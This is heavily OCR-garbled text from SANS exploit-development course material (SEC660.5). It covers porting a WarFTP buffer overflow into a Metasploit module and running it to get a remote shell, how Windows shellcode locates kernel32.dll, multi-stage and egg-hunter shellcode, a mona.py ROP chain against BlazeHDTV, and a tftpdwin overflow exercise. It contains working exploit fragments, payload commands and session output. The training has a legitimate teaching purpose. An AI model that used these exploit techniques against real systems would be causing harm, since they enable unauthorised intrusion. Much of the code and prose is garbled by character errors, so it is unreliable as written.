\,J v • 1 .. ,,,: I', 1"'· .i,,.1 1,, 11 ... I ,,1„ 1 \\·11•11 · ,.,,J 1 111, ,i II 11~1·1,, 

> 506, 
> "\x00\x9a\x0d\x40", BadChars & space f~r shellcode HJ ~~~(~ .. , ~ 

•> > 1q 81 r n, , 
•> SRev ! s 1 Oll: 1 . 0 s .. 

Building Our Mctasploit Module (1) 

Lct's now port ovcr the exploit into a Mctasploit modulc. Wc arc first setting conncction type to 
Ftp. This hclps to automate thc handling of FTP connections and cuts down on our scripting. Thc 
scction highlightcd as "Information" includcs many optional ficlds to hclp thosc who are using 
your modulc, and to givc crcdit to thosc who may have contributcd. Thc scction highlighted as 
"BadChars and spacc for shcllcode" is wherc wc can pul in the "Space" we havc availablc for 
shcllcodc, and thc "BadChars" wc havc discovcrcd. You may not always know exactly how much 
spacc is availablc for your payload and can always use trial and crror. For our purposcs, it has 
bccn dctcrmincd that 500 bytes is sufficicnt. Thcrc are simple scripts that comc with Metasploit 
which can hclp you dctcrminc the size of a buffcr you are overrunning, and use randorn pattems to 
pinpoint thc location of thc rctum pointer in the evcnt you are retuming back up to thc buffcr. 

:'> l'l11•r1p 1 •plott , 
0 <,q{ 

ln t s 1S ll SMb Sf((,1.(j • <C'<!Sr> 

def 1n1tial1ze(1nfo ~ {}) 
supe1 (update info(info, 

N.1 r 
O<· • .pt.c' . . 

Information > • 
...._~~~-~__J A11tho1 ' 

Ve1.1on· 
Reri·r 1~1\r~s' 

1 
J. 

Pny l o 1<:!' 

Including Ftp inctude Hst: :Explo1t :Re~ote: :Ftp 

a re '>ll<oll 
ctass Hetosplo1t3 < Hsf. :Explo1t· .Remote 

Building Our Metasploit Module (1) 
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\d1,.1·1l ~·l' 1>~ ·111· · :i :1 L 1 ',. 1 :)',. 1 \\ ·1 111 • .: 1 1 ll 
1 f 1 tl ·.··1 · 

def check 'l ct« ck he1 > ' 1 rsl 
return E:xploit: :Chec Code· :V· IPrable 

end 

end 

Building Our Metasploit Module (2) 
Thc "Targets" scction allows us to sct up what Operating systcms and vcrsions wc can targct with 
our exploit. For WarFTP, you could dctcrminc valid "jmp csp" addrcsses on thc various target 
OS' and add them to this section. This would show up when running the Mctasploit command 
"show targcts." The "DefaultTarget" setting is set to 0, which scrvcs as thc dcfault OS or vcrsion. 
In our cxamplc, wc havc lcft it only as "Windows XP Universal" which would likely fail on many 
versions. Wc could also includc an option to modify thc stack alignmcnt if we run into issucs 
around space, or problcms with thc location of whcrc thc rcgisters arc pointing on thc stack. 
Toward thc bottom we have the option to check for server messages such as a banner. With this 
check wc could potcntially look for a specific message or vcrsion mcssagc that would teil us i f thc 
program is vulnerable or not. This is not always thc best check as it makcs no assumptions. 

J. Defauttfa1get · => 6)) 
). 

· Plotfom -> "rn • 
'Rf>t => O.dt9.!lPPll. 

Wl! J.p St) 

; rnows XP Un1v rsal', 
( 

Building Our Metasploit Module (2) 
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end 

buf rand_text_english(485, payload_badchars) 
KAbove we are filling our buffer with 485 random characters, 
except those on our badchars list. This gets us to the return 
pointer. 
buf += [ target.ret] .pack('V') 
KAbove we are adding our return pointer "jrnp esp" address and 
putting it in little endian format. 
buf += "\x90" *20 
K20 byte NOP sled after the return pointer. 
buf += payload.encoded 
iAbove we are appending whatever payload is selected by the 
Metasploit user, excluding our badchars. 

end 

Building Our Mctasploit Module (3) 

Thc "cxploit" section is whcre wc port ovcr the commands and data that triggcrs thc vulnerability. 

handler 
d1sconnect 

\t~\ 111\•ll j>\lllll.1 l•1!1 l , 11 .• 1 :1(~j \\· , 1 1 l 1 '114 11 Jf1\~,1• • 

485 random char's, 
jmp esp, 20 NOP's, 
payload. 

send cmd(["USER", buf) , false) 

buf = rand text_english(485. payload bedchars ) 
buf+ (arg r~ck(V') 
buf += • 28 
buf +• payload.encoded 

print_status("Send1ng dlpayload.encoded.length} byte payload ... ") 

def exploit 
connect 

Building Our Metasploit Module (3) 
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As you can sec, thcrc is a spccific scction for FTP cxploits on Windows already sct up for us. lf 
therc is no obvious scction, thcrc is a misccllancous foldcr as weil. 

In Kali, you may nccd to savc it to "/usr/sharc/metasploit-framcwork/cxploits/windows/ftpf' 

On Backtrack 5, Mctasploit is locatcd in the /opt/mctasploit/ ... path. Be surc to update 
accordingly. Added modulcs arc automatically placcd into thc dircctory "-/.msf/" whcrc you can 
also save your portcd modulcs. 

/pentestlexploitslframework3/modules/exploitslwindowslftp 

,....T..wwJ•t~ 

„Videos 
- Concel All Flla 

Storage Media 

Download 

Mu$lc 

Building Our Metasploit Module (4) 
Now that wc havc our modulc built, wc want to savc it in the appropriate location. Name the filc 
warftp.rb and savc it to: 

On Backtrack 5 and Kali. save to the appropriate directory in 
/opt/mctasploit/ ... or /usr/sharc/metasploit-framcwork/ ... 

... ,,.,.- 

• In our example we are saving it as "warftp.rb" to: 
- /pentest/exploits/framework3/modules/exploits/windows/ 

ftp 

Building Our Metasploit Module ( 4) 



215 

The "reload_all" command forccs any cachcd rnodulcs to bc rcloadcd. 

\d\ .1nn·d pl.lll'll<1lh 111 ·1 l·-.1111g. 1 "P'' 111 \\ rn mg .. 111d 1 .1 h1l al 1 lal kmg 

l > usP w1ndows/ftp/warftp 
I• 1 e t ( 1 · 1 

Running Metasploit 

At this point you should bc ablc to start up Metasploit as normal by running Jmsfconsote from 
your Mctasploit foldcr. lf you took notc of how many loaded modules wcrc availablc bcforc you 
port ovcr your exploit, thcrc should now bc one additional onc if you did it correctly. If you did 
not do it corrcctly, therc will likely bc an crror mcssage tclling you about thc problem. Once 
you've launchcd Mctasploit, try running thc command search warftp and check to sec if your 
cxploit is showing. 1 fit is, go ahcad and run thc command use windows/ftp/warftp and thc cxploit 
will load. 

normal warFTP Expto1t 
average War-FTPO l.6S Password Overflow 
average War-FTPO 1.6S Userna111e Overflow 

wind ftp/warftp 
w1ndows/ftp/warltpd 16S pass 
w1ndows/ftp/warftpd l6S user 

Oescr1pt1on Rank Name 

Exploi ts 

~ - a ·tp 
( • 1 Sear 119 loaded 111odules for pat tern ·warftp · ... 

• Start up the Metasploit console: ./msfconsole 
• Search for your module: search warftp 
• Load the module: reload_all 

Running Metasploit 
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Exploit! 

Now that our modulc is loaded, wc want to sct thc rcmotc host option and our payload. Run thc 
command sei RHOST XX.XX, where X.X.X.Xis thc targct IP addrcss ofyour FTP scrvcr. Ncxt, 
run thc command set payload windows/shell/bind fcp, or select any othcr availablc payload. 
Finally, type in exploit to start thc attack. If succcssful, as wc sec on thc slidc, you should gct a 
shcll! 

Success! 
crosoft Windows xP lVe~s1on ~ 1 26901 

(Cl 'Y •" • • 

Connect1n9 to FTP server 192.168.0.5:21 ... 
5tarted bind handler 

1 Connected to tar9et FTP server. 
1 5end1n9 580 byte payl J .. 
1 5end1n9 stage 1240 ~,,. to 192.168.0.S 

·1 Co11M11~nd shell sess1on l opened (192.168.0.183:57184 ·> 192.168.0.5:44441 

· explo1ll· ) >~et payload w1ndows/shell/b1nd lcp 
1load •> w1ndows/shell/b1nd tcp 

explo1tl ) > explo1t 

• 19:' 161' 1 •••nl t 
'II"'~ l 1(,. 

• Set the remote host: set RHOST x.x.x.x 
• Payload: set pay/oad windows/shell/bind_ tcp 
• Exploit: exploit 

Exploit! 



217 

Summary 

You should now havc a bcttcr undcrstanding of how to convcrt a basic, working exploit over to 
Mctasploit, as weil as how ro dcal with bad characters. Writing modulcs for Mctasploit can also 
get quite complcx and you will find yoursclf spcnding a lot oftimc getting to know thc inner- 
workings of framcwork and all of its idiosyncrasics. Thcre is a large user cornrnunity for 
Mctasploit, and chanccs arc, a qucstion you havc has alrcady bccn answcred online. 

• Working with the Metasploit sample script 
• Dealing with bad characters 
• Creating a Metasploit module 
• This is the tip of the iceberg with Metasploit 
• Huge user community! 

Summary 
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Windows Shellcode 
In this bricf modulc wc will takc a look at how Windows shcllcodc commonly works to resolvc 
functions and load libraries into a running proccss. As systcm calls on Windowsare not located at 
static addresses, the techniqucs arc different. This also rcquires largcr shellcode and poses 
additional ehallcnges to the shellcodc author. 

SANS SEC660.5 

Windows Shellcode 
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"Undcrstanding Windows Shellcodc" by Skapc 

http://www.hick.org/code/skapc/papcrs/win32-shcllcodc.pdf 

"Win32 Asscmbly Cornponcnts" by Thc Last Stage of Delirium 

http://pcntcst.cryptocity.net/filcs/exploitation/winasm- l .O. l .pdf 

\d\.t11n·d Pl·1w1ra111111 ln11ng. 1 :-.pl1111 \\ rn111g •. md l .rlucul llad,ing 

Objectives 
Wc will Iirst bc focusing on somc of the idiosyncrasics with Windows shellcode. Thc paper's 
"Win32 Asscmbly Components" by Thc Last Stage of Delirium and "Understanding Windows 
Shellcode" by Skapc arc two of thc best papcrs on the topic of Windows Shcllcode. They arc a 
highly rccommended rcad. 

• Our objective for this module is to 
understand: 
- Windows Shellcode 
- Locating kernel32.dll 
- Common types of shellcode 
- Multi-stage shellcode 

Objectives 
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Unlikc Linux. Windows docs not allow for the direct access to thc opcning of sockcts and network 
ports through direct system calls. In order to perform something such as opening a TCP port and 
putting it into listcn-modc, you must go through the API through funetions such as WSAsocket(). 

One of the biggest challenges authors of Windows shellcode face is dctermining the location of 
desircd functions within the operating system. Unlike Linux where system calls and functions are 
static betwecn OS vcrsions, Windows is constantly changing with ncw OS versions and Service 
Packs. This providcs an incidental security Feature to Windows, as it is rnore difficult to crcate 
reliable shcllcodc. As discusscd, one componcnt of the API is to serve as a layer of abstraetion 
betwcen uscr-rnode and kerncl-rnode; e.g. Ring 3 and Ring 0. In ordcr to gct Windows to do 
practieally anything, you must interfaec with the appropriate user mode API. lt is actually an 
impressive design in that Windows devclopers are ablc to change the underlying libraries and 
functions without breaking application functionality. The symbol rcsolution process and API on 
Windows providcs tolcrancc for the constant changing in a function's location. The relative address 
can change and still be located successfully by an application on the many different vcrsions of 
Windows. 

Windows Shellcode 
Shellcode is used on Windows in thc same way it is used on Linux. Examples include spawning a 
shell, adding an aecount, cornrnand execution, Meterpreter, and practically anything eise desircd. 
Same as on Linux, shellcode is only good on thc proccssor architccturc for which it was writtcn. For 
cxample, if you try to run shcllcode dcsigncd to run on an x86 Intel processor on an ARM dcvicc, 
you will not havc any luck gctting it to cxccutc, as thc instruction set is different. 

• Shellcode on Windows 
- Still commonly used to spawn shells 
- Can do much more, such as adding user accounts, OLL Injection, 

viewing files, Meterpreter, etc. 
• Shellcode is specific to processor type 

- x86, ARM, PowerPC, etc. Assembled code 
• Location of libraries and functions can be tricky on Windows 

- System calls on Linux are consistent, but not on Windows 
- Changes between OSs and Service Packs can cause problems 

• Sockets not directly available through system calls 
- You must go through an API to load the library and call the 

appropriate function 

Windows Shellcode 
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Accessing Kernel Resources 
You wil 1 oftcn find exploit codc containing static locations io kcmcl32.dll and its functions. Thc 
problem is, again, thcsc locations changc bctwccn OS version and Service Pack. lf thc addrcsscs 
are statically configurcd, the cxploit code will only work on a limited number of systems. As we 
alrcady know, DLLs arc loaded into a proccss if thcy arc spccificd as being nccdcd during runtimc 
or post-runtirne. We also know that wc are forced to go through thc Windows API for much of 
what wc want to do on the systcm. Fortunatcly for thc attackcr, kcmel32.dll and ntdll.dll arc 
always loaded into cvcry running proccss and can provide access to desired resources. We'll 
discuss why this is important coming up. Thc problem is that wc still must locate thc basc address 
of kcmcl32.dll and othcr functions inside the running proccss. Not only that, wc also must bc ablc 
to find thc addresses of multiple functions within the various loaded DLLs. 

• We want to avoid static locations that only 
ex ist for a certa in OS or Service Pack 

• DLLs are loaded into running processes 
- Problems we face: 

• We are forced to use the Windows API to make 
system calls 

• Kernel32.dll, kernelbase.dll, and ntdll.dll are always 
loaded, but we must first locate them 

• We must also determme a way to walk through the 
loaded modules EAT to find a desired function 

Accessing Kernel Resources 
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Locating kernel32.dll ( 1) 
As bricfly mcntioncd, wc must find a way to locatc thc addrcss of kcmcl32.dll. Thc reason is that 
we arc looking tobe ablc to load othcr modules into the processes addrcss space. lt just so 
happcns that kemel32.dll contains thc functions LoadLibraryA() and GetProcAddrcss(), which 
hclp us achicvc this goal. LoadLibraryA() allows us to load any library on thc systcm into thc 
running proccss. No cxplanation is necded as to why this is an important stcp during shcllcodc 
execution. Thc function GctProcAddress() allows thc shcllcodc to obtain the addrcsscs of desired 
functions within the loaded librarics. LoadLibraryA() returns thc load address of the loaded 
library. GctProcAddress(} takes in thc load addrcss of thc library as an argumcnt along with thc 
dcsircd function namc and retums back thc absolute addrcss. 

• We need to find out where kernel32.dll is 
located so we can: 
- Load additional modules with LoadlibraryA() and 

GetProcAddress() 
• LoadlibraryA() allows us to load libraries 

- Returns a handle to the base address 
• GetProcAddress() allows us to get the functions 

address inside the OLL 
- Base address of the OLL holding the function is passed as an 

argument, as weit as the desired function name 

Locating kernel32.dll (1) 
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Anothcr option to obtain the address for kemcl32.dll is by utilizing thc Structurcd Exccption 
Handling (SEH) chain. Thc SEH Unhandled Exception Handler points to a function within 
kcrncl32.dll, which is callcd whcn an cxccption is raised and not handlcd. Thc address of this 
function within the SEH can be found by going to thc first handlcr on thc SEH chain by way of 
unwinding, following all of the NSEII pointers. From hcre, kcme132.dll can be walked to locate the 
dcsired functions. As stated before, it is highly recommcndcd thal you check out thc papcr "Win32 
Assembly Cornponcnts" by the Last Stage of Delirium located at 
http://ivanlefOu.frce.fr/rcpo/windoz/shcllcoding/winasm-1.0.1.pdf. Note: The location of these 
papcrs changes often for onc rcason or anothcr. Thc Last Stage of Delirium (LSD) disbanded 
sevcral ycars ago and does not offcr thc papcr for vicwing online anymore. Any published vcrsions 
on thc web arc by other individuals. You can also try typing, 
"pentest.c1Jiptocity.net/jiles/exploitationlwinasm-l.O.l.pdf" or just "winasm-LIl.lpdf" into Google. 

Locating kernel32.dll (2) 
Now that wc understand why wc nccd ro locatc kcmel32.dll within thc process, let's discuss how it 
ean bc found. Thcrc arc multiple ways to find kernel32.dll, and wc'll discuss thc two most cornrnon 
methods. Wc'vc already discussed thc Process Environment Block (PEB) and should havc a solid 
understanding as to what kind of information it holds. lt just so happens that the PEB holds the basc 
addrcss to kcme132.dll. Not only that, it is always thc second or third rnodule listed in the relative 
section within thc PEB. The idea is that if wc know thc PEB is locatcd at FS:[30] and know whcrc 
in thc PEB thc addrcss for kcme132.dll is located, we can simply grab this valuc and rnovc forward 
from there. Windows 7/8+ and Server 2008/2012+ havc rnoved kemel32.dll to thc third loaded 
module. This may requirc modifications to somc shcllcodc. 

• Process Environment Block (PEB) 
- We know what this is by now! 
- The PEB holds a list of loaded modules 

• Kernel32.dll is always the second module loaded as stated by The Last 
Stage of Delirium *Except on Windows 7+, it's the 3rd loaded module* 

• Again, we can walk the list and get the location of kernel32.dll 
• SEH Unhandled Exception Handler points to a function within 

kernel32.dll 
- This can also be used to locate the address for kernel32.dll 

• Check out "Win32 Assembly Components" by the Last Stage of 
Delerium =Paste the following into Google: 
"pentest cryptocity. net/files/exploitation/winasm-1. 0.1.pdf" 

Locating kernel32.dll (2) 
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Locating GetProcAddress() 
Oncc thc addrcss of keme132.dll has bccn locatcd, wc rnust find thc addrcss ofGetProcAddress(). 
This is thc function that will rcturn to us the addrcss of a dcsircd function within a loaded module. 
Wc also need to grab LoadLibraryA(), but can do so with GetProcAddress() once located. The 
most comrnon way to locatc thc addrcss of GetProcAddrcss() within kerne132.dll is by walking 
the Export Addrcss Table (EA T). Inside thc Export Addrcss Table of a loaded OLL is the name 
and RVA offset of each funetion offercd. By comparing the name of the dcsircd function with the 
namcs inside thc Export Directory Table, the RV A can be detcrmined. Often times you will find 
that the size of the shclleode must be decreased to fit within a vulnerable buffer. By hashing thc 
name of the desired function and eomparing it to the names inside the Export Directory Table, you 
can dccreasc thc size of your shcllcode. This is due to the fact that the hashed version of the namc 
is smaller than using thc full unhashed namc. 

• We must first find GetProcAddress()'s RVA 
inside of kernel32.dll 
- GetProcAddress()'s RVA changes often between 

OS releases and Service Packs 
- We can find this by walking the Export Address 

Table 
- You can walk the table and compare the desired 

function to the list 
• When a match is found you have the RVA 
• Using hashes of the desired function is smaller! 

Locating GetProcAddress() 
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Loading Modulesand APls 

As was our goal, now that wc have the addresscs of kemel32.dll, LoadLibraryA() and 
GetProeAddrcss(), wc ean easily load any module into thc processes address spacc and obtain thc 
addrcsses of desired f unctions. This serves as a way to make your shellcode portable. Aga in, we 
are not hard coding the addrcsscs of these libraries and functions. lfwe do that, our shcllcodc will 
only work some of the time as different Windows OS' and Service Packs often change thc 
underlying locations of APls. Since the mcthods describcd to locatc kcmcl32.dll work 
consistcntly amongst many vcrsions of Windows, our success rate incrcascs. 

• Now that kernel32.dll and GetProcAddress() 
have been found 
- Any module can be loaded into the processes 

address space with LoadlibraryA() 
- Specific APis/Functions can be resolved with 

GetProcAddress() 
- You have a portable method to locate the 

addresses and are not bound to one OS or 
Service Pack 

Loading Modules and APis 
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Egg hunting shcllcodc is a simple tcchniquc for when you havc a limitcd amount of spacc to hold your 
initial shellcodc, but arc ablc to have othcr shcllcode loaded somcplacc in mcmory. An cxamplc would 
bc ifyou havc a file mapping holding an animatcd cursor filc, containing additional shellcodc. You 
would prcpcnd this shellcode with a spccial, uniquc tag. Whcn you get initial shellcode execution, thc 
job of thc shcllcodc is to parse through memory to search for thc uniquc tag prependcd to your 
additional shellcodc. Oncc the tag is discovcrcd the appended shellcodc is immcdiatcly cxecuted. 

lt may also bc thc casc whcrc the stagcr is uscd to call a function such as VirtualAlloc() to allocatc 
mcmory on the hcap with R/W/E permissions, and writc additional shcllcodc to this location, continuing 
cxccution. 

Thc first piccc is called a first-stagc loader, or stagcr, which is commonly used to open a network 
socket. Once thc socket is succcssfully opcncd up, thc shcllcode attempts to locate the relative socket 
by walking thcm with thc function gctpccmamc(), located in ws2_32.dll. Thc associatcd filc dcscriptor 
can thcn bc uscd to redirect cmd.cxc to the open socket, allowing for thc attacker to spawn a shcll on thc 
systcm. The socket and filc dcscriptor can also acccpt additional shellcode ovcr thc nctwork 
conncction. 
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Multi-stage Shellcode 
Oftcn thc amount of memory allocatcd for a buffcr is too small to hold your shcllcodc, and what you' rc 
trying to accomplish does not work with a rcturn-to-systcm style attack. In this situation thc buffcr may 
bc large cnough to hold a single-stagc payload. We can use a stager at this point. Thc purposc of thc 
stagcr is toset up thc cnvironmcnt with thc goal of cxccuting additional shellcode received ovcr thc 
nctwork. 

• For when there's not enough space to fit all of your 
shellcode 

Execute a first-stage loader 
• Allocate memory with VirtualAlloc(), read additional 

shellcoc:le coming over the connection, and execute 
- Open sockets can be walked with getpeername() in 

ws2_32.dll 
• Locate the file descriptor 
• Redirect cmd.exe to the existing file descriptor/socket 

Egg Hunting shellcoc:le is a technique to use when you can 
get additional shellcode to execute loaded somewhere in 
memory, prepended with a tag 

Multi-stage Shellcode 
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Module Summary 

In this modulc wc took a look at sornc of thc diffcrcnccs bctwcen Windows shellcode and Linux 
shellcodc. lt is fair to say that writing portable shcllcodc on Linux can bc marginally casicr than 
on Windows. 

• Windows Shellcode 
• Locating kernel32.dll 

- LoadlibraryA() & GetProcAddress() 
- Loading Modules 

• Common types of shellcode 
• Multi-stage shellcode 

Module Summary 
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1) What is thc most common way to locatc kcmcl32.dll? 
a) SEH 
b) PEB 

c) ntdll.dll 

2) What function allows you to obtain thc RV A of a dcsircd API? 
a) gctpccmamc() 

b) GctProcAddress() 
c) gctpid() 

3) True or Falsc - LoadLibraryA() is uscd to load kcrnc132.dll into memory? 

Review Questions 
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1) What is the most common way to locate kernel32.dll? 
a) SEH 
b) PEB 
c) ntdll.dll 

2) What function allows you to obtain the RVA of a 
desired API? 

a) getpeername() 
b) GetProcAddress() 
c) getp1d() 

3) True or False - LoadlibraryA() is used to load 
kernel32.dll into memory? 

Review Questions 
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3) False - LoadLibraryA() is located inside of kemcl32.dll. Thc dynamic linking process is uscd 
during runtime to load kernel32.dll into mcmory. Additional modules can then use 
LoadLibraryA() to load additional modules. 

2) B, GetProcAddress()- GctProcAddress() is thc function cornmonly used to locatc thc 
Relative Virtual Address (RVA) of a funetion. 

1) B, PEB - The Process Environment Block (PEB) is commonly used to locatc the address of 
kemcl32.dll due to its rcliability. 

1) B, PEB 
2) B, GetProcAddress() 
3) False 

Answers 

Answcrs 
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Mctasploit Projcct, H.D. Moore and Crew 
http://www.metasploit.org/ 

"Win32 Assembly Cornponcnts" by The Last Stage of Delirium 

www.pentest.eryptocity.nel/files/exploilation/winasm- l .O. l .pdf 

"Understanding Windows Shcllcodc" by Skape 

http://www.hick.org/code/skapc/papers/win32-shellcode.pdf 

Recommended Reading 

• Understanding Windows Shellcode by Skape 

http://www.hick.ora/code/skape/papers/win32-s_nellcode.pdf 

• Win32 Assembly Components by the Last Stage of Delerium 
http://www.pentest.cryptocity.net/files/exploitation/winasm-1.0.1.pdf 

• Metasploit Project, H.D. Moore and Crew 
http://www.metasploit.org/ 

Recommended Reading 



231 

This challenge is not easy. The only way to improvc your skills when you gct to this point in cxploit 
dcvelopment is to figurc out the answcrs to your problcms by trial and error. Feet free to ask an 
instructor for assistancc when hitting a block in the road; howcvcr, this challengc is for you to figurc 
out, or eise it would not be a lcarning experiencc. You should look at this likc solving a puzzle. lt 
should bc fun and challenging. 

660.5 Bootcamp 
For this bootcamp, you are challcnged with working through ROP chain problems that often arise. 
This challcngc is not a guidcd challenge beyond the ROP chain gcncration. You are expected to work 
through a brokcn chain and comc up with crcativc solutions to solve thc problems. Therc is no singlc 
correct way ro fix thc chain, thcre arc likely many. Windows 7 is recommended unless you are 
cxperienced with using WinDbg. lmmunity Debugger sccrns to have problcms when the exception 
handlcrs are called in Windows 8. 

• Not for the faint of heart! © 
• Treat it like a puzzle to solve! 

• Windows ROP Challenge 
- This challenge is on your own! 
- You will use mona.py to create a ROP chain 
- Your goal is to take this chain and try to fix it! 
- Windows 7 is recommended unless you are familiar with 

using WinDbg, as Immunity Debugger has difficulty with 
following the SE Handler when crashing on Windows 8 

660.5 Bootcamp 
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lt will take sevcral rninutcs, cvcn up to ten minutes, for Mona to run. Thc script is doing a lot of work 
finding gadgcts. When it is finished, check your working director and review thc crcated filcs. 

This is telling Mona to scarch through thc loaded modules and discovcr potential ROP gadgets and 
chains to disable DEP. Thc ''-o" option teils Mona not to usc OS modulcs, as thcy likcly participate in 
rebasing and such. 

!mona rop -o 

• This simply teils mona.py to search for ROP 
gadgets, using "-o" to ignore OS modules 

• This will take a few minutes to run ! 
• Check your working directory when it is finished 

and review the created files 

Mona.py to Generate ROP Gadgets 
Start up the BlazeHDTV program and then attach to it with lmmunity Debugger. Once it is up and 
running, type the following into thc Python command bar: 

• With the BlazeHDTV program loaded into Immunity 
Debugger and running, run the following from the 
Python command bar: 

Mona.py to Generate ROP Gadgets 
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Thc "-cp nonull" option will tell Mona to try and figurc out ways to avoid nulls, yct still producing thc 
dcsircd rcsults. 

!mona rop -o -cp nonull 

!mona rop -o -ep nonull 
- The "-cp nonull" option will tell Mona to try and figure 

out ways to produce the ROP chains with no null bytes 

ROP Output Files 
There should be quite a few new files generated, including rop.txt, stackpivot.txt, rop_chains.txt, and 
rop_ virtualprotcct.txt. Open up the rop _ virtualprotcct.txt file and review the chain generated. Note that 
therc are null bytes in the chain. We cannot use this chain. You will nccd to rcrun thc "lmona rop -o" 
command, adding thc following: 

• In your working directory should be several files, 
such as rop.txt, stackpivot.txt, and rop_chains.txt 
- Open up the rop_virtualprotect.txt file 
- Review the VirtualProtect() chains that were generated 

for you 
- Note that there are null bytes in the chains 
- Rerun the "!mona rop -o" command, but this time 

include the following: 

ROP Output Files 
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# POP EDX # RETN (McdiaPlaycrCtrl.dll) 

# <- *& Virtua!Protcct() 

# MOV EDX,DWORD PTR DS:[EDX] # ADD AL,BYTE PTR DS:[EAX] # POP 

Ox640534 7a, 

Oxl0011108, 
Ox64022bdb, 

rop _gadgcts = 

VirtualProtcct() 'pushad' rop chain 

Whcn vicwing thc rop_ virtualprotect.txt filc, we got thc following ROP chain: 

Port the ROP Chain to your Exploit 
Whcn mona.py is finished with thc "-cp nonull" option, rcvicw thc rop_ virtualprotcct.txt filc it 
gcncratcd. You will thcn want to port it ovcr into thc prcvious ROP cxploit script wc uscd in thc 
section to disablc DEP with ROP. Lcavc thc majority of thc script intact, including thc shcllcode, 
padding, SEH ovcrwritc addrcss, ROP NOP's, NOP's, etc ... You only want to replace thc ROP chain 
from that script with thc onc just gcncratcd by mona.py. Save it as a new copy. Ensurc cvcrything is 
aligncd and attach to BlazeHDTV with your dcbuggcr. Set a brcakpoint on thc SE Handlcr ovcrwritc 
addrcss which should bc thc "ADD ESP,800." Start singlc stcpping through thc chain to sec whcrc it 
brcaks. Usc thc rop.txt File to locate gadgets that can help you get around thc problems. Who knows 
you may get 1 ucky and it works on thc first try, but this is highly doubtful. You goal is to gain 
cxpcricnce working with ROP and fixing brokcn chains. 

Good Luck!!! 
• When Mona is finished 

- Review the rop_virtualprotect.txt file 
- Port the ROP chain over into the previous exploit, saving 

it as a new copy 
- Leave in the SE Handler overwrite, ROP NOPs, etc. .. Only 

replace the ROP chain 
- Ensure it is properly aligned and set a breakpoint on the 

SE Handler overwrite address that does "ADD ESP,800" 
- Start single-stepping through your ROP chain and see 

where it crashes, using the rop.txt file for gadget options 
- Your goal is to work hard at slowly repairing the chain! 

Port the ROP Chain to your Exploit 
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#junk 
# PUSH EDX # ADD AL,5F #POP ESI #POP EBX # RETN OC (SkinScrollBar.011) 
# junk, cornpcnsatc 
#junk 
# POP EBP # RETN (MediaPlayerCtrl.dll) 
# junk, compensate 
# junk, eompensate 
# junk, compensate 
# ptr to 'push esp # rct Oe' (frorn Configuration.dll) 
# POP EAX # RETN (MediaPlayerCtrl.dll) 
# valuc to ncgatc, targct value: Ox00000201, target reg: cbx 
# NEG EAX # RETN (Configuration.dll) 
# XCHG EAX,EBX # RETN (EPG.dll) 
# POP ECX # RETN (McdiaPlaycrCtrl.dll) 
# RW pointer (lpOldProtcct) (-> ecx) 
# POP EDI # RETN (Configuration.dll) 
# ROP NOP (-> cdi) 
# POP EAX # RETN (McdiaPlayerCtrl.dll) 
# valuc to negate, target value: Ox00000040, target reg: edx 
# NEG EAX # RETN (Configuration.dll) 
# XCHG EAX,EDX #POP ESI # ADD ESP,8 # RETN OC (MediaPlayerCtrl.dll) 
# POP EAX # RETN (McdiaPlaycrCtrl.dll) 
# NOPS (-> cax) 
# PUSHAD # RETN (Configuration.dll) 
# rop chain gcncratcd by mona.py 
# note: this chain may not work out of thc box 
# you may have to changc ordcr or fix some gadgets, 
# but it should give you a head start 

].pack("V*") 

Ox4141414 r, 
Ox 1001050e, 
Ox41414141, 
Ox41414141, 
Ox6403d 1 a6, 
Ox41414141, 
Ox4141414 I. 
Ox4141414 r. 
Ox60333503, 
Ox6403d404, 
OxflTffdff, 
Ox60324984, 
Ox6164 lc70, 
Ox6403e80d, 
Ox64056001, 
Ox6032ce03, 
Ox6032ec04, 
Ox6403d404, 
OxffTffTcO, 
Ox60324984, 
Ox6401 t f80, 
Ox6403d404, 
Ox90909090, 
Ox60339fab, 

ECX # MOV EAX,ESI #POP ESI # RETN 04 (McdiaPlayerCtrl.dll) 
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Thc vulncrability in tftpdwin 0.4.2 was discovcrcd by Parvcz Anwar according to SecurityFocus 
at http://www.sccurityfocus.com/bid/20131/info. Multiple exploits are also publishcd at 
http://www.cxploit-db.com. 

Again, this is an optional cxcrcise that you may complctc in your own time. or simply walk 
through it in thc book. lt only works on Windows XP SP2 or SP3. 
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660.5 Appendix 
In this optional cxcrcisc that you can pcrform on your own time, wc will work through a familiar 
stack-bascd ovcrflow on Windows; howcvcr, this vulncrability will challcngc you to compcnsatc 
for scvcral issucs. What sccms simple at first will quickly turn into multiple challcngcs rcquiring 
that you think outside of thc box for solutions to each of thc problcms. On the next couplc of 
pagcs, wc will get you set up to start scarching for the vulnerability. The pages following that will 
providc you with a stcp-by-stcp solution ro locating and exploiting the vulncrability. Only procccd 
to thc walk-thorough aftcr you havc cxhaustcd all possibilitics. lf you gct stuck, takc thc 
Walkthrough up to the point in which you are stuck and thcn go back to working on thc cxploit 
without the help from thc coursc book. 

• Optional Exercise with Windows XP SP2/3 on 
your own time 

• TFTPDWIN Version 0.4.2 
- Offered by ProSyslnfo 
- http://tftpserver.prosysinfo.com.pl/ 
- Not patched 
-$29 
- Vulnerable to Stack Overflow 
- Lots of twists and turns 

660.5 Appendix 
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Gctting Started: tftpdwin 0.4.2 
At this point it is simply time to install thc tftpdwin 0.4.2 server. Please use Windows XP SP2 
prcfcrably, as it was uscd for the Walkthrough. Windows XP SP3 should also work without 
problcms, although addrcssing is morc likely to diffcr from thc slidcs. On your tools CD is the filc 
tftpdwin.cxc. Double-click to install on your target systcm, acccpting any dcfaults. Thc dircctory 
"C:\Program Files\TftpdWin" will bc crcatcd on your systcm, containing thc tftpd.cxc cxccutablc 
that you will bc using in thc dcbugger. 

• Install tftpdwin .exe from your tools CD into 
XP SP2 or XPSP3 

• Accept any defaults 
• The following directory will be created: 

C:IProgram Filesf TftpdWin 
• The executable tftpd.exe will be our target 

Getting Started: 
tftpdwin 0.4.2 
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Start Searching for a Vulnerability 

Al this point, it is time to start searching for a vulnerability. Obviously, any type of crash should 
be of interest. You have several options in scarching for a vulnerability and dctcrmining 
information about what, why, and where. You should feel comfortable by this point that you have 
the tools and knowledgc to discover and record a crash condition. Thcre certainly is a 
vulncrability, and as mentioned, what seerns easy at first will turn into a more complex exploit. 
One option is to usc a fuzzer, or to write your own test cascs to try and detect a crash in the file 
narne and mode ficlds. You also have thc option of scarching through thc codc segmcnt for any 
potcntially vulnerable function calls. Analyzing thc code at thcse function calls should providc 
you with information about the codc's intentions and buffer sizcs. As usual, you should be 
running thc program with proper monitoring tools such as a dcbuggcr. 

• The method for discovering the vulnerability 
is up to you 
- You could try fuzzing 
